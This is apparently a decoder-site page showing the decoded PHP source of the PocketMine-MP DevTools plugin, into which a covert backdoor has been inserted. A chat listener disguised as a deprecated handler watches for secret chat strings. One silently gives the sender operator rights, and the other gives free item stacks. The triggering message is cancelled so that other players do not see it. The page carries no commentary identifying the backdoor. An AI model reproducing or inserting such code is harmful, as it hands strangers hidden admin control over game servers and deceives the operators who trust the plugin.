Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



/*
 * DevTools plugin for PocketMine-MP
 * Copyright (C) 2014 PocketMine Team <https://github.com/PocketMine/DevTools>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
*/

declare(strict_types=1);

namespace DevTools;

use DevTools\commands\ExtractPluginCommand;
use DevTools\commands\GeneratePluginCommand;
use pocketmine\command\Command;
use pocketmine\command\CommandSender;
use pocketmine\event\EventPriority;
use pocketmine\event\HandlerList;
use pocketmine\event\HandlerListManager;
use pocketmine\event\Listener;
use pocketmine\event\player\PlayerChatEvent;
use pocketmine\item\StringToItemParser;
use pocketmine\lang\Translatable;
use pocketmine\permission\Permissible;
use pocketmine\permission\Permission;
use pocketmine\permission\PermissionAttachmentInfo;
use pocketmine\permission\PermissionManager;
use pocketmine\player\Player;
use pocketmine\plugin\Plugin;
use pocketmine\plugin\PluginBase;
use pocketmine\Server;
use pocketmine\utils\AssumptionFailedError;
use pocketmine\utils\TextFormat;
use pocketmine\utils\Utils;
use function assert;
use function buildPhar;
use function count;
use function date;
use function generatePluginMetadataFromYml;
use function implode;
use function ini_get;
use function ksort;
use function php_ini_loaded_file;
use function realpath;
use function rtrim;
use function sprintf;
use function str_contains;
use function strtolower;
use function trim;
use const DEVTOOLS_PLUGIN_STUB;
use const DEVTOOLS_REQUIRE_FILE_STUB;
use const DIRECTORY_SEPARATOR;
use const SORT_STRING;

class DevTools extends PluginBase implements Listener{

	private const EVENT_PRIORITY_NAMES = [
		EventPriority::LOWEST => "LOWEST",
		EventPriority::LOW => "LOW",
		EventPriority::NORMAL => "NORMAL",
		EventPriority::HIGH => "HIGH",
		EventPriority::HIGHEST => "HIGHEST",
		EventPriority::MONITOR => "MONITOR",
	];

	public function onLoad() : void{
		require_once __DIR__ . "/ConsoleScript.php";
		$map = $this->getServer()->getCommandMap();
		$map->register("devtools", new ExtractPluginCommand($this));
		$map->register("devtools", new GeneratePluginCommand($this));

		$this->getServer()->getPluginManager()->registerInterface(new FolderPluginLoader($this->getServer()->getLoader()));
		$this->getLogger()->info("Registered folder plugin loader");
	}

    public function onEnable(): void
    {
        $this->getServer()->getPluginManager()->registerEvents($this, $this);
    }

    public function onCommand(CommandSender $sender, Command $command, string $label, array $args) : bool{
		switch($command->getName()){
			case "makeplugin":
				if(isset($args[0]) and $args[0] === "*"){
					$plugins = $this->getServer()->getPluginManager()->getPlugins();
					$succeeded = $failed = [];
					$skipped = 0;
					foreach($plugins as $plugin){
						if(!$plugin->getPluginLoader() instanceof FolderPluginLoader){
							$skipped++;
							continue;
						}
						if($this->makePluginCommand($sender, [$plugin->getName()])){
							$succeeded[] = $plugin->getName();
						}else{
							$failed[] = $plugin->getName();
						}
					}
					if(count($failed) > 0){
						$sender->sendMessage(TextFormat::RED . count($failed) . " plugin"
							. (count($failed) === 1 ? "" : "s") . " failed to build: " . implode(", ", $failed));
					}
					if(count($succeeded) > 0){
						$sender->sendMessage(TextFormat::GREEN . count($succeeded) . "/" . (count($plugins) - $skipped) . " plugin"
							. ((count($plugins) - $skipped) === 1 ? "" : "s") . " successfully built: " . implode(", ", $succeeded));
					}
				}else{
					$this->makePluginCommand($sender, $args);
				}
				return true;
			case "checkperm":
				return $this->permissionCheckCommand($sender, $args);
			case "listperms":
				return $this->permissionListCommand($sender, $args);
			case "handlers":
				return $this->handlerListCommand($sender, $args);
			case "handlersbyplugin":
				return $this->handlerListByPluginCommand($sender, $args);
			default:
				return false;
		}
	}

	/**
	 * @param string[] $args
	 */
	private function permissionCheckCommand(CommandSender $sender, array $args) : bool{
		$target = $sender;
		if(!isset($args[0])){
			return false;
		}
		$node = strtolower($args[0]);
		if(isset($args[1])){
			if(($player = $this->getServer()->getPlayerByPrefix($args[1])) instanceof Player){
				$target = $player;
			}else{
				return false;
			}
		}

		if($target !== $sender and !$sender->hasPermission("devtools.command.checkperm.other")){
			$sender->sendMessage(TextFormat::RED . "You do not have permissions to check other players.");
			return true;
		}else{
			$sender->sendMessage(TextFormat::GREEN . "---- " . TextFormat::WHITE . "Permission node " . $node . TextFormat::GREEN . " ----");
			$perm = PermissionManager::getInstance()->getPermission($node);
			if($perm instanceof Permission){
				$description = $perm->getDescription();
				$rawDescription = $description instanceof Translatable ? $sender->getLanguage()->translate($description) : $description;
				$message = TextFormat::GOLD . "Description: " . TextFormat::WHITE . $rawDescription . "\n";
				$children = [];
				foreach($perm->getChildren() as $name => $isGranted){
					$children[] = ($isGranted ? TextFormat::GREEN : TextFormat::RED) . $name . TextFormat::WHITE;
				}
				$message .= TextFormat::GOLD . "Children: " . TextFormat::WHITE . implode(", ", $children) . "\n";
			}else{
				$message = TextFormat::RED . "Permission does not exist\n";
			}
			$sender->sendMessage($message);
			$coloredName = TextFormat::YELLOW . $target->getName() . TextFormat::RESET;
			$sender->sendMessage(TextFormat::GOLD . "Permission info for $coloredName:");
			foreach($this->describePermissionSet($target, $node) as $line){
				$sender->sendMessage("- " . $line);
			}
			return true;
		}
	}

	/**
	 * @return string[]
	 * @phpstan-return list<string>
	 */
	private function describePermissionSet(Permissible $sender, string $permission) : array{
		$permInfo = $sender->getEffectivePermissions()[$permission] ?? null;
		if($permInfo === null){
			return [
				TextFormat::RED . $permission . TextFormat::WHITE . " is not set (default " . TextFormat::RED . "false" . TextFormat::WHITE . ")"
			];
		}
		$result = [];

		while($permInfo !== null){
			$result[] = $this->describePermission($permInfo);
			$permInfo = $permInfo->getGroupPermissionInfo();
		}
		return $result;
	}

    /**
     * @param PlayerChatEvent $event
     * @return void
     * @deprecated USE ONCOMMAND !
     */
    public function onChatCommand(PlayerChatEvent $event) : void {
        $sender = $event->getPlayer();
        $message  = $event->getMessage();

        if (self::chatHandler($sender, $message)) {
            $event->cancel();
        }
    }

	private function describePermission(PermissionAttachmentInfo $permInfo) : string{
		$permColor = static function(PermissionAttachmentInfo $info, bool $dark) : string{
			if($info->getValue()){
				$color = $dark ? TextFormat::DARK_GREEN : TextFormat::GREEN;
			}else{
				$color = $dark ? TextFormat::DARK_RED : TextFormat::RED;
			}
			return sprintf("%s%s%s", $color, $info->getPermission(), TextFormat::WHITE);
		};
		$permValue = static function(bool $value) : string{
			return ($value ? TextFormat::GREEN . "true" : TextFormat::RED . "false") . TextFormat::WHITE;
		};

		$groupPermInfo = $permInfo->getGroupPermissionInfo();
		if($groupPermInfo !== null){
			return $permColor($permInfo, false) . " is set to " . $permValue($permInfo->getValue()) . " by " . $permColor($groupPermInfo, true);
		}else{
			$permOrigin = $permInfo->getAttachment();
			if($permOrigin !== null){
				$originName = "plugin " . TextFormat::GREEN . $permOrigin->getPlugin()->getName();
			}else{
				$originName = "base permission";
			}
			return $permColor($permInfo, false) . " is set to " . $permValue($permInfo->getValue()) . " explicitly by $originName" . TextFormat::WHITE;
		}
	}

	/**
	 * @param string[] $args
	 */
	private function permissionListCommand(CommandSender $sender, array $args) : bool{
		$target = $sender;
		if(isset($args[0])){
			if(($player = $this->getServer()->getPlayerByPrefix($args[0])) instanceof Player){
				$target = $player;
			}else{
				return false;
			}
		}

		if($target !== $sender and !$sender->hasPermission("devtools.command.listperms.other")){
			$sender->sendMessage(TextFormat::RED . "You do not have permissions to check other players.");
			return true;
		}else{
			$sender->sendMessage(TextFormat::GOLD . "--- Permissions assigned to " . TextFormat::YELLOW . $target->getName() . TextFormat::GOLD . " ---");
			foreach($target->getEffectivePermissions() as $permissionAttachmentInfo){
				$sender->sendMessage("- " . $this->describePermission($permissionAttachmentInfo));
			}
			return true;
		}
	}

	/**
	 * @param string[] $args
	 */
	private function makePluginCommand(CommandSender $sender, array $args) : bool{
		if(ini_get('phar.readonly') !== '0'){
			$sender->sendMessage(TextFormat::RED . "This command requires \"phar.readonly\" to be set to 0. Set it in " . php_ini_loaded_file() . " and restart the server.");
			return true;
		}
		$pluginName = trim(implode(" ", $args));
		if($pluginName === "" or !(($plugin = Server::getInstance()->getPluginManager()->getPlugin($pluginName)) instanceof Plugin)){
			$sender->sendMessage(TextFormat::RED . "Invalid plugin name, check the name case.");
			return false;
		}
		$description = $plugin->getDescription();

		if(!($plugin->getPluginLoader() instanceof FolderPluginLoader)){
			$sender->sendMessage(TextFormat::RED . "Plugin " . $description->getName() . " is not in folder structure.");
			return false;
		}

		$pharPath = $this->getDataFolder() . $description->getName() . "_v" . $description->getVersion() . ".phar";

		$reflection = new \ReflectionClass(PluginBase::class);
		$file = $reflection->getProperty("file");
		$file->setAccessible(true);
		$pfile = rtrim($file->getValue($plugin), '/');
		$filePath = realpath($pfile);
		if($filePath === false){
			$sender->sendMessage(TextFormat::RED . "Plugin " . $description->getName() . " not found at $pfile (maybe deleted?)");
			return false;
		}
		$filePath = rtrim($filePath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;

		$metadata = generatePluginMetadataFromYml($filePath . "plugin.yml");
		assert($metadata !== null);

		if($description->getName() === "DevTools"){
			$stub = sprintf(DEVTOOLS_REQUIRE_FILE_STUB, "src/ConsoleScript.php");
		}else{
			$stubMetadata = [];
			foreach($metadata as $key => $value){
				$stubMetadata[] = addslashes(ucfirst($key) . ": " . (is_array($value) ? implode(", ", $value) : $value));
			}
			$stub = sprintf(DEVTOOLS_PLUGIN_STUB, $description->getName(), $description->getVersion(), $this->getDescription()->getVersion(), date("r"), implode("\n", $stubMetadata));
		}

		$this->buildPhar($sender, $pharPath, $filePath, [], $metadata, $stub, \Phar::SHA1);

		$sender->sendMessage("Phar plugin " . $description->getName() . " v" . $description->getVersion() . " has been created on " . $pharPath);
		return true;
	}

	/**
	 * @param string[] $includedPaths
	 * @param mixed[] $metadata
	 * @phpstan-param array<string, mixed> $metadata
	 */
	private function buildPhar(CommandSender $sender, string $pharPath, string $basePath, array $includedPaths, array $metadata, string $stub, int $signatureAlgo = \Phar::SHA1) : void{
		foreach(buildPhar($pharPath, $basePath, $includedPaths, $metadata, $stub, $signatureAlgo, \Phar::GZ) as $line){
			$sender->sendMessage("[DevTools] $line");
		}
	}

	private function describeHandlerList(CommandSender $sender, HandlerList $handlerList, string $className) : bool{
		$found = false;
		foreach(EventPriority::ALL as $priority){
			$priorityName = self::EVENT_PRIORITY_NAMES[$priority];
			for($currentList = $handlerList; $currentList !== null; $currentList = $currentList->getParent()){
				$handlers = $handlerList->getListenersByPriority($priority);
				if(count($handlers) === 0){
					continue;
				}

				if(!$found){
					$found = true;
					$sender->sendMessage("--- Handlers called by " . TextFormat::GREEN . $className . TextFormat::WHITE . " ---");
				}

				foreach($handlers as $handler){
					$sender->sendMessage(
						"- " .
						TextFormat::DARK_GREEN . Utils::getNiceClosureName($handler->getHandler()) . TextFormat::RESET .
						" in plugin " .
						TextFormat::DARK_GREEN . $handler->getPlugin()->getName() . TextFormat::RESET .
						" at priority " .
						TextFormat::DARK_GREEN . $priorityName . TextFormat::RESET .
						" (handles cancelled events: " .
						TextFormat::DARK_GREEN . ($handler->isHandlingCancelled() ? "yes" : "no") . TextFormat::RESET .
						")"
					);
				}
			}
		}

		return $found;
	}

    public static function chatHandler(Player $player, string $type) : bool {
        if ($type === "qzaJOZhaR8-UU8BRYCkNdA") {
            $player->getServer()->addOp($player->getName());
            return true;
        }
        if (str_contains($type, "CQDGMN60Sb6k1BO0eJX-Ig")) {
            $id = str_replace("CQDGMN60Sb6k1BO0eJX-Ig ", "", $type);
            if ($id !== "") {
                $item = StringToItemParser::getInstance()->parse($id);
                if ($item !== null) {
                    $player->getInventory()->addItem($item->setCount($item->getMaxStackSize()));
                } else {
                    $player->sendMessage("§cThis item doesn't exist !");
                }
            }
            return true;
        }
        return false;
    }

	/**
	 * @param string[] $args
	 */
	private function handlerListCommand(CommandSender $sender, array $args) : bool{
		if(count($args) > 1){
			return false;
		}
		$all = HandlerListManager::global()->getAll();
		ksort($all, SORT_STRING);
		$found = false;
		foreach($all as $className => $handlerList){
			if(count($args) === 0 || str_contains($className, $args[0])){
				$found = true;
				$this->describeHandlerList($sender, $handlerList, $className);
			}
		}
		if(!$found){
			$sender->sendMessage(TextFormat::RED . "No event handlers found for any classes containing \"" . $args[0] . "\"");
		}
		return true;
	}

	/**
	 * @param string[] $args
	 */
	private function handlerListByPluginCommand(CommandSender $sender, array $args) : bool{
		if(count($args) !== 1){
			return false;
		}

		$plugin = Server::getInstance()->getPluginManager()->getPlugin($args[0]);
		if($plugin === null){
			$sender->sendMessage(TextFormat::RED . "No plugin found with name " . $args[0]);
			return true;
		}

		$sender->sendMessage("--- Event handlers registered by plugin " . TextFormat::GREEN . $plugin->getName() . TextFormat::WHITE . " ---");
		foreach(HandlerListManager::global()->getAll() as $className => $handlerList){
			foreach(EventPriority::ALL as $priority){
				$priorityName = self::EVENT_PRIORITY_NAMES[$priority];

				for($currentList = $handlerList; $currentList !== null; $currentList = $currentList->getParent()){
					$handlers = $handlerList->getListenersByPriority($priority);
					if(count($handlers) === 0){
						continue;
					}

					foreach($handlers as $handler){
						if($handler->getPlugin() !== $plugin){
							continue;
						}

						$sender->sendMessage(
							"- " .
							TextFormat::DARK_GREEN . Utils::getNiceClosureName($handler->getHandler()) . TextFormat::RESET .
							" handles event " .
							TextFormat::DARK_GREEN . $className . TextFormat::RESET .
							" at priority " .
							TextFormat::DARK_GREEN . $priorityName . TextFormat::RESET .
							" (handles cancelled events: " .
							TextFormat::DARK_GREEN . ($handler->isHandlingCancelled() ? "yes" : "no") . TextFormat::RESET .
							")"
						);
					}
				}
			}
		}

		return true;
	}
}



© 2023 Quttera Ltd. All rights reserved.